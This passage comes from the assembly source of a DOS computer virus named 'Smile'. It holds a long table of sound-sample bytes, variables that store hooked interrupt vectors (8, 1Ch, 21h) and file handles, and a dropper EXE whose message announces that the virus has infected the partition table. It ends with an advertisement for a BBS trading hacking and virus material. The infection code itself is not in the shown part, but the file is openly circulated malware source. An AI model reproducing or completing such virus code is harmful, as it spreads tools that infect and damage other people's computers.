  861.         db    230, 88,207,193,179, 59,135, 99,198, 12,204,241,219,  7, 19,240
  862.         db    228,110, 31,133,193, 48,120,230, 44,205,225,158, 54, 49,166,120
  863.         db    220, 19,140,131,176,116, 79,131,129,204,124, 31,  3,193,249,204
  864.         db    140,150, 38, 72,199,153,152,248,126,142, 79,131,131,248,190, 31
  865.         db     15,195,241,120,236, 96,204,143, 14, 57, 57,248,110, 62,103, 33
  866.         db    216,248, 57, 31,  6,102,120,207, 28,216, 14,  6, 99, 96,204, 60
  867.         db    121, 51, 67,137,207, 17,156, 57, 30, 11,198,230, 51, 51,157,179
  868.         db    148, 96,247,113,192,204,206, 15, 35,152, 28, 30, 38,224,248,153
  869.         db    206,227,225,113,142, 67,152,152, 89, 56,131,134,242, 56,227, 28
  870.         db     23,131,120, 62, 15,225,248, 63,  7,193,240,126, 15,129,224,124
  871.         db     31,  7,192,248, 62, 15,131,224,248, 62, 15,131,224,248, 60, 15
  872.         db    135,208,248,121, 31, 15, 33,225,228, 60, 30, 71,195,200,248,124
  873.         db     15,135,193,248,248, 31, 31,131,225,240, 62, 31,  3,131,240,120
  874.         db     59, 15,  3,176,102, 55, 14,195,112,236, 55, 15,195,112,252, 55
  875.         db    143,195,248,240, 63,143,  3,184,249, 27,199,161,252, 57, 31,195
  876.         db    193,252, 60, 31, 99,192,242, 60, 79, 25,230,121,207,177,206, 62
  877.         db    199, 24,240, 30, 51,192,240,252, 27,143,161,240,126, 30,135,192
  878.         db    248, 60, 31,135,192,248,126, 15,135,129,196,184, 47, 13,195,216
  879.         db    126, 27,135,201,226, 28, 70, 13,226,112,124, 71,  3,231,188, 78
  880.         db     30, 24,227,241,234, 62, 15,161,248, 62, 15,  7,112, 90, 99,112
  881.         db    230, 25,147,225,240,110, 61,198,240,116, 29, 23,103, 48,240, 58
  882.         db     47,143,113,206, 51,198,192,126, 62, 15,  7, 97,236, 62, 31,  7
  883.         db    240,254, 63, 15,195,240,190, 31,143,128,248, 62, 63,143, 99,152
  884.         db    243, 60, 31,  7,129,216, 28,  7, 12,211,188,124,  7, 39,192,116
  885.         db    119, 14,195,156,120,188,  7,195,192,239, 31,131,196,120,220, 19
  886.         db    204,120,147,248, 89,129,216,223,140,252,253,143, 60,237,143, 28
  887.         db    207,142,120,223, 30,241,254, 57,227,252, 99,139,177,158, 46,133
  888.         db    248,242, 14,199,192,251, 31,  2,236,249, 31,115,228, 29,139,160
  889.         db    236, 89,  7, 99,228, 57,159, 33,236,120, 15, 35,100, 57,155, 53
  890.         db    196,104,143, 51,102,184,141, 16,230,124,199, 57,226, 28,199,144
  891.         db    230, 60, 67,153,242, 28,231,200,115, 30, 97,204,121,143, 49,230
  892.         db     60,199,136,115,143,  1,198, 60,103,140,113,142, 56,211, 30,120
  893.         db    240, 30, 60, 62, 77,207,153,225,124,124,153,118,126, 28,193,230
  894.         db     60,135,129,242, 60,103,135,112,124, 31,140,112,238,120,227,184
  895.         db    159,142,112,238, 57,145,231,  9,199,217,134,100,108,  3,163,248
  896.         db    110,207,136, 97,199, 32,231, 63,135,136,242,102, 52,217,180,113
  897.         db    198,112,227, 57,199,  4,193,204,115,142, 35, 12,219,156,118, 92
  898.         db    203, 24, 99,128,241, 60, 39,204, 57, 31, 36,201,157, 19,230,108
  899.         db    205,159, 99, 46,237,217, 51, 39,204, 28,  7, 12,120, 28,115,206
  900.         db    124,142, 51,178, 60, 57,158, 62, 99, 12,153,209, 28,226,140, 51
  901.         db    195, 24,243,188,230,217,227,144,240,158, 19,134,112, 79,200,241
  902.         db     63,198,225,231,145,226,126, 79,129,243, 60, 79,129,240,120, 31
  903.         db      3,192,240, 62, 15,193,240,120, 31,  3,225,240, 62, 31,  3,224
  904.         db    240, 63, 15,  3,224,240, 63, 31,  7,225,240,126, 63,  7,225,248
  905.         db    126, 31,135,225,220,110, 29,227,112,207, 27,  7,124,111, 28,241
  906.         db    190, 60,227,100, 76,243, 60, 71,152,224,248, 63,135,227,248,126
  907.         db     28,135,129,224,248, 63, 31,131,145,240,124, 47, 15,227,240,126
  908.         db     31,131,224,248, 62, 31,198,241,220, 59, 15, 49,224, 56,143, 17
  909.         db    199,185,248,126, 31,133,224,248, 62, 59,135, 96,252, 60, 23,197
  910.         db    192,248, 60, 31, 49,196,241,216, 51,153,195,141,140,140, 62, 71
  911.         db    102,248,190, 61,199,144,226, 62, 51,129,225,252, 62, 19,100,230
  912.         db     49,140,115, 28,  3,160,224, 60, 71,131,226,248,156, 51,131,113
  913.         db    248, 59,143,137,198, 56, 46, 29,193,240,230, 61,199, 57,230, 56
  914.         db    215, 23, 38,120,230, 57,198, 35,198,108,141,148,113, 57,226, 57
  915.         db    199,120,254, 15, 99,248, 70,197,200, 59, 31,225,248,191,  7,195
  916.         db    232,126, 31,  3,240,252, 61,143,225,204,127, 14, 99,252,115,143
  917.         db    227,204,119,143, 49,206, 60,199, 56,121,142,112,227,140,113,143
  918.         db    199,216, 60,199, 33,248,121,143,  1,198, 57,198,204,227,156,224
  919.         db    126, 30, 67,227, 56, 62, 29,143, 25,200,230, 30, 99,204,113, 14
  920.         db     49,131, 92,197,206,120,238, 17,200,121,  7, 25,196, 24,222,  7
  921.         db      0,112, 98, 61,142, 99,252, 63, 15,140,236,198,115, 70, 78,224
  922.         db    220, 51,134,112, 78, 55,135,112,230, 56,254, 49,195,152,124,103
  923.         db     35,182,113,133,225,188, 14,131,182, 62,121, 51,  7, 44,227, 25
  924.         db    223, 24,228, 79,199,192,124, 15,  0,226,120,153, 49,202, 26, 39
  925.         db    113,240,187, 31,225,240,117, 12,200,232,230, 51, 39,140,241, 29
  926.         db     25,200,113,155,153, 62, 30,  3,168,113, 30,  1,195, 48, 76,127
  927.         db    142, 99, 29,175, 57,142,195,243,220, 24,142,  3,136,248, 30, 19
  928.         db     70,240,123, 59,199,120,227, 56,115, 15,199,248,248, 31,  3,193
  929.         db    216, 57,142,113,206, 57,177,183,121,185,  3,248,206, 11,156,115
  930.         db    129,156, 55,145,216, 95, 19,241,190,103,227,248, 31,139,240,118
  931.         db     31,193,216,127,  7,113,126, 29,199,248,127, 15,224,252, 63,195
  932.         db    184,255, 12,227,252, 51,142,240,206, 57,195,152,115, 12,227,156
  933.         db    115,142,113,206, 56,199, 56,227, 28, 97,140,121,198, 57,231, 28
  934.         db    227,156,115,143, 56,199, 14,120,143,134,120, 79, 14,120,223, 15
  935.         db    222, 51,227, 29,193,252,103,135,152,142, 12,228,114, 59,152,204
  936.         db    224, 55, 25,241,156,100,199, 57,185, 28,199,204,113,159, 24,198
  937.         db      7,  2, 57,207, 12,113,198, 56,249,193,220,115,  7,  3,225,240
  938.         db     30,208,226, 28, 97,192, 56,193, 67, 51, 49,142,207,140,240,142
  939.         db     49,227,156,103,131, 57,142, 99,226, 60, 15,128,240, 30,  7,145
  940.         db    249, 14,  1,224, 61,131,240,115, 14, 65,248,121,  7,160,230, 63
  941.         db    195,220, 63,135,240,158, 25,195, 24,231, 24, 99,156, 49,206,115
  942.         db    135, 57,200,156,103, 48,113,142,112,198, 59,195, 24,231, 14,113
  943.         db    156, 27,196,112,231, 61,241,220,127,134,113,220, 29,199, 55,127
  944.         db     15,225,252, 31,135,248, 31, 15,231,156,103, 14,227,252, 51,152
  945.         db     61,  6,120,207,  3,248,158,  7,240, 62, 67,224,124, 15,224,252
  946.         db    143,192,241, 31,129,226, 62,  7,192,252, 31,129,248, 63,  7,240
  947.         db    124, 15,193,248, 63,  7,224,254, 31,193,248, 63,  7,240,254, 15
  948.         db    193,252, 63,131,240, 63,  7,224,126, 31,193,252, 63,131,248,190
  949.         db      7,241,124, 31,227,252, 63,195,248, 63,199,240,125,199,216,120
  950.         db    227, 14, 48,248, 15,128,252, 31,195,248,103,  3,241,220,  7,195
  951.         db    248,127,135,240,126, 15,224,252, 31,129,248, 63,  7,240,120, 15
  952.         db    128,240, 63, 15,224,254, 31,193,248, 31,  3,225,246, 31,195,220
  953.         db     63,131,240, 63,131,224,126,  7,224,252, 31,195,252, 62,  7,248
  954.         db    124, 15,177,248, 15,  3,240,254,  7,128,248, 15,  1,248, 30,  7
  955.         db    192,124, 15,129,242, 59,131,192,116, 30,  3,232,126,  7,224,254
  956.         db      7,192,252,103,  3,152,244, 23,  3,224, 60,  7,194,188,  7,129
  957.         db    252, 47,  7,176,126, 15,224,252, 25,194,241, 57,199,112,112, 15
  958.         db      1,248, 31,135,240,255, 15,225,248, 31,131,248,124,  3,240,124
  959.         db     15,129,240, 31,  3,224,125,  7,160,126, 15,192,230, 28,227,136
  960.         db    120,  7,176,244, 30,193,240, 61,  7,176,246, 14,  1,200, 28,  3
  961.         db    128, 60,  7,134,120, 79,129,248,127,  7,230,120,199,152,225, 14
  962.         db    115,192, 57,199, 28,115,  7, 25,254, 78,231, 59,221,200, 15,204
  963.         db    156,152, 14,236,252,136,142,236,204,136, 76,204,249,144, 25,147
  964.         db    114,100,118,111,145, 39,191,249, 19,247, 36,127,152, 19,254,136
  965.         db    159,176,  7,254,  1,127,192, 31,252,  1,255,128, 31,230, 65,254
  966.         db      0,127,216, 19,254,  1,127, 32, 15,248,  1,255,192, 31,248,  3
  967.         db    254,  0,255,192, 31,248,  1,255,128, 31,224,  7,252,  9,190, 96
  968.         db     15,236,  9,255,  0,159,176,  7,251,  2,127,128, 31,216, 11,252
  969.         db    129,191,144, 15,252,  3,255,128, 63,228, 13,254,  0,255,240,  7
  970.         db    254,  1,191,192, 31,252,  1,255,  0,127,248, 19,127,129, 63,228
  971.         db     15,254,  0, 63,224, 13,254, 34, 55,228, 73,254,100,223,124,201
  972.         db    191,224, 25,179, 32, 79,236,137,255,192, 79,254,  0,255,200, 23
  973.         db    249, 32,155,108,130,102, 76,200,204,222,  4,166,251, 19, 32, 31
  974.         db    236,140,236,204,108,204,153, 20,217,153, 25,179, 32,118,249,166
  975.         db    219, 32, 23,108,146,108,200,111,230, 70,236,195, 63, 36, 71,201
  976.         db    153, 59, 36,219,178,110,236,130, 93,194,102,249, 32,207,228, 66
  977.         db    123,146, 59, 51, 38,153, 50,219,100,251,153,157,154,100, 99, 54
  978.         db    108,195, 50,121,182,217,166,125, 50, 79, 54, 73,178,204,214,108
  979.         db    147, 51, 33,147,108,200,155,177, 37,179,102,  3,237,140,154,136
  980.         db    155,246, 68,255,236,137, 19, 63,204,153,191,144, 19,254, 64, 79
  981.         db    252,  4,255,128, 63,240,  7,255, 19,119,233, 19, 51, 34, 55,120
  982.         db      2,110,201, 63,220,139,230, 98,127,140,102,243,201,155,216,  7
  983.         db    243, 19,124,204,137,190,  3,246,115, 51, 38,100,219, 96, 59, 62
  984.         db     68,155,200,159,236,201,178,100, 73, 51, 19,153,140,155, 49, 19
  985.         db    236,131,127,241,  3,252,205,222, 25,153,255,145, 62,  3,102, 76
  986.         db    217, 31,204, 31,153,191,112, 63,177,187,204, 76,119,112, 29,196
  987.         db     27,243, 38,204,199, 51, 54, 76,157,230, 77,217,144, 63,228, 79
  988.         db    100,178,100,205,143,236, 25,147,120,129,248,  3,252,146,220,132
  989.         db    216,157,217,183, 51, 35,147,205, 36,216, 25,155, 50,101,147,147
  990.         db     38,196,105, 50, 71,199, 28,216,115, 48,205,179, 38,216, 60,179
  991.         db     97,230,109,147,110, 38,121, 48,227, 64,204,198,  7, 14,108, 76
  992.         db    184,240,195,239,134,115, 55,137, 15,184, 38,108, 12, 25,204,104
  993.         db    243, 97,147,199, 39,152, 54,125, 49,243,179,102,205,204,155, 54
  994.         db    126, 89, 60,217,102,195, 39,131, 79,  7,156, 38,121, 48,112,217
  995.         db    225,159,227, 19, 12,150, 67, 54, 77,188,153, 60,250,108,155,108
  996.         db     61,200,134, 79, 46,192,221,  3,255, 17,240,255,240, 62, 13,254
  997.         db     19,178,223,128,204, 39,209, 44,153,225,180, 29,225, 60, 63,194
  998.         db    120, 63,  1,248,188, 15,113,116, 27,  7, 51,204,115, 30,230, 59
  999.         db    133,241, 60,  7,145,236,206,195,184,222,  3,137,242, 60,140, 99
  1000.         db    228,241,159, 23, 68,216,249, 15, 17,134,199, 65,126, 63,  7,216
  1001.         db    254, 31,227,232, 59,143,226,254, 55,135,241,188,101,199, 57,135
  1002.         db    198,112,159, 31,195,248,158, 71,249,199,145,240,248, 15,103,204
  1003.         db     19,141,195, 56,143,129,252,  7,167,241, 61,140,225,156,  3,136
  1004.         db    114, 30, 49,204,240,118, 48,195, 30, 71,192,121, 23,  1,248,198
  1005.         db     48,236, 49,156,241, 12,143,130,120,254, 15,226,184,251, 19,217
  1006.         db    253, 39,155, 98, 45,144,204, 55,155,113,159, 39, 97,242,187,  6
  1007.         db    244,195, 60,102,217,131, 38, 51,129,196,198, 12,224,198,125,100
  1008.         db    147,201, 53,159, 99, 60, 27, 97,188,142, 55,128,241,204,198,109
  1009.         db    130, 25,229,152,121,147, 49,140,153, 36,194,115, 24,198,121, 39
  1010.         db    152,243, 55, 19,198,126, 25,201,236,247, 25,196,120,141, 36,243
  1011.         db     46, 49,152,242, 12,195,199, 61,143,136,217,142,103, 56,205,129
  1012.         db    144, 25,135,185,156, 63,152,202, 59,135, 55,137,230,122,108,220
  1013.         db     61,184,206,102, 62,102, 31,142,153,231,211,206,225,231,151,105
  1014.         db    246,199,241,249,143,195,246,159,147,223,142,209,251,143,227,157
  1015.         db    159, 99,207, 25,199, 24,126,143,230,120,158,113,218, 63,199,240
  1016.         db    237,142,131,159, 57,230,120,238, 63,227,152,231,142,115, 30,115
  1017.         db    140,249,230,117,227,156,251,140,227,188,119,152,241, 26, 96,206
  1018.         db     97,135, 61,199,159, 57,103,188,103, 24,241,248,115, 56,230,  6
  1019.         db    227,188,115,204,124, 31,141,193,214,115,198,119,135, 49,142, 60
  1020.         db    199, 48,115, 28,227,156,113,140,113,198, 24,198, 56,115, 26, 33
  1021.         db    205,204,131, 51, 31, 12,206, 60, 51,152, 49,206, 99,199, 51,140
  1022.         db    205,142, 60, 51,152,224,228,227,153, 49,198,198,227, 51,143, 14
  1023.         db    134, 54,118, 56,152,252, 99,227,185,207,143,198,103, 51,142,156
  1024.         db    159, 28,224,113,179,140,228,204, 39, 71,113,156,100,228,225,163
  1025.         db    137,204,158,103, 49,115, 12,193,204,199,139,204,204, 51,163, 26
  1026.         db     56,204,225,198, 27,211,120,255, 46,225,239, 31,135, 92,111, 27
  1027.         db    147,156,114,229,147,142, 49,204,103,142, 57,156,152,236, 28,131
  1028.         db    179,113,198, 32,238, 53, 15, 29,241,120,247, 62, 53, 25,158, 48
  1029.         db     11,153, 54, 15, 28,230, 28,241,220,241,206,225,175, 27,134,102
  1030.         db    103, 24,249,220,102,204,243, 51, 51,140,204,166, 51,103, 57,153
  1031.         db    147,103,104,206,121,204, 99,204,123, 60, 25, 38, 51, 98,218,123
  1032.         db     22, 70, 28,219, 44,147, 76,192,227,200, 49,205,164,219,154,102
  1033.         db     23, 54, 78, 60,218,100,216,210,100,241,228,231,201,167, 57,140
  1034.         db     54, 15,206, 51, 47, 35,136,201,153, 35,140,115,134, 58,115,102
  1035.         db    120,236,204,153,163,120,198, 51,152, 54,204,225,147,101,201, 51
  1036.         db     13,193,178, 62, 77,195, 52,207,202,204,120,193,142,108,209,227
  1037.         db     28, 97,147, 19,152, 56,227,142, 92,240,199, 30, 48,241,207, 25
  1038.         db    108,157,109,199,155, 28, 97,155, 39, 28,241,205, 30, 24,226,199
  1039.         db     28, 49,225,134, 56,229,154,108, 97,207, 62, 56,231, 14,124,200
  1040.         db     54, 76,227,156, 56,227,143, 12,104,231, 28,179,103, 60,249,227
  1041.         db    135, 28,120,227,  6, 24,115,139, 56, 56,199,134, 56,115,199, 60
  1042.         db    153,204,222,108,241,195, 30, 60, 49,199,142, 24,112,227,134,115
  1043.         db     51,155, 28,113,205,134,120,242, 99,143, 30,113,154, 44,249,231
  1044.         db    150,124,113,241,158, 25, 98,206, 92,179,231,143, 56,227,166, 12
  1045.         db     32,199, 48,105,147, 25,156,108,204, 28, 51, 39,198,153,176,224
  1046.         db    252,216,103, 30, 71,205,131,  1,204,217,145,114, 60, 62,125, 60
  1047.         db     31, 30, 76,158, 22,108,217, 25,176,204,158, 55,137,140,220,104
  1048.         db    226,204,105,241,204,201,227,204,201,227,140,203,195,156,207,199
  1049.         db     28,199,195,140,199,195,156,199,231,140,199,195,156,207,206,121
  1050.         db    159, 38, 57,153,142,121,153,156,241,145,140,241,179,153,241,178
  1051.         db    204,209,131,153,227, 38,217,205,151, 28,198,103, 59, 25, 50, 77
  1052.         db    153, 46,121,140, 39, 49,140, 51, 50,102, 76,115,198, 12, 99,156
  1053.         db     99,102,147,248,205,156,119,142,156,126, 76, 12,110, 77,152,236
  1054.         db    198, 56,102,102,120,220,243, 76,206,100,152,198, 49,153,152, 60
  1055.         db    223, 28,189, 55, 25,198, 15, 60,114, 14, 25, 51,207, 50,227, 19
  1056.         db     36, 67,223,102,199, 92,102,131,  4,100,115,126,236,214, 48,108
  1057.         db     77,191,204,  6,124,253,152, 32,255,136, 78,243,128,127,240, 59
  1058.         db    255,  0, 63,252, 15,251,192, 31,254,  3,255,192, 31,254,  3,255
  1059.         db    192, 63,252, 15,127,  0,127,240,  3, 16,  7,255,240, 32, 15,251
  1060.  
  1061. SampleEnd    equ    this byte
  1062.  
  1063. ;------------------------------------------------------------------------------
  1064. ;
  1065. ; Variables
  1066. ;
  1067. ;------------------------------------------------------------------------------
  1068.  
  1069. Active        db    -1
  1070. ActiveYear    dw    -1
  1071. ActiveDate    dw    -1
  1072.  
  1073. OldInt8        equ    this dword        ; orginal interrupt 8
  1074. OldInt8o    dw    -1
  1075. OldInt8s    dw    -1
  1076. OldInt1C    equ    this dword        ; orginal interrupt 1ch
  1077. OldInt1Co    dw    -1
  1078. OldInt1Cs    dw    -1
  1079. OldInt21    equ    this dword        ; orginal interrupt 21h
  1080. OldInt21o    dw    -1
  1081. OldInt21s    dw    -1
  1082.  
  1083. Count        dw    -1            ; timer count
  1084. SampleOffset    dw    -1            ; Used to make sound
  1085. SampleBit    db    -1
  1086. SampleFlag    db    -1
  1087. Handle        db    24 dup(-1)        ; Filehandles
  1088.  
  1089. cseg ends
  1090.  
  1091. ;------------------------------------------------------------------------------
  1092. ;
  1093. ; Orginal EXE-file
  1094. ;
  1095. ;------------------------------------------------------------------------------
  1096.  
  1097. mseg segment public 'code'
  1098.         assume    cs:mseg, ds:mseg, es:mseg
  1099.  
  1100.  
  1101.         db    'MZ'            ; header
  1102.         dw    PrgSize            ; PartPage
  1103.         dw    1            ; PageCount
  1104.         dw    0            ; relocation items = 0
  1105.         dw    0            ; headersize = 0h
  1106.         dw    80h            ; minimum memory
  1107.         dw    0ffffh            ; maximum memory
  1108.         dw    (PrgSize+15)/10h    ; ss
  1109.         dw    7feh            ; sp
  1110.         dw    0            ; chksum
  1111.         dw    offset Orginal        ; ip
  1112.         dw    0            ; cs
  1113.         dw    1ch            ; offset relocation table
  1114.         dw    0            ; overlay number
  1115.  
  1116. Orginal:    mov    ah,9            ; display warning
  1117.         push    cs
  1118.         pop    ds
  1119.         mov    dx,offset Warning
  1120.         int    21h
  1121.         mov    ax,4c00h
  1122.         int    21h            ; terminate
  1123.  
  1124. Warning        db    13,10
  1125.         db    'WARNING:',13,10
  1126.         db    13,10
  1127.         db    'Smile virus has now infected the partition table !!!!!',13,10
  1128.         db    13,10
  1129.         db    '$'
  1130.  
  1131. mseg ends
  1132.  
  1133. sseg segment stack 'stack'
  1134.         db    800h dup(?)
  1135. sseg ends
  1136.  
  1137. end Main
  1138. 
  1139. ;  ─────────────────────────────────────────────────────────────────────────
  1140. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  1141. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1142. ;  ─────────────────────────────────────────────────────────────────────────
  1143.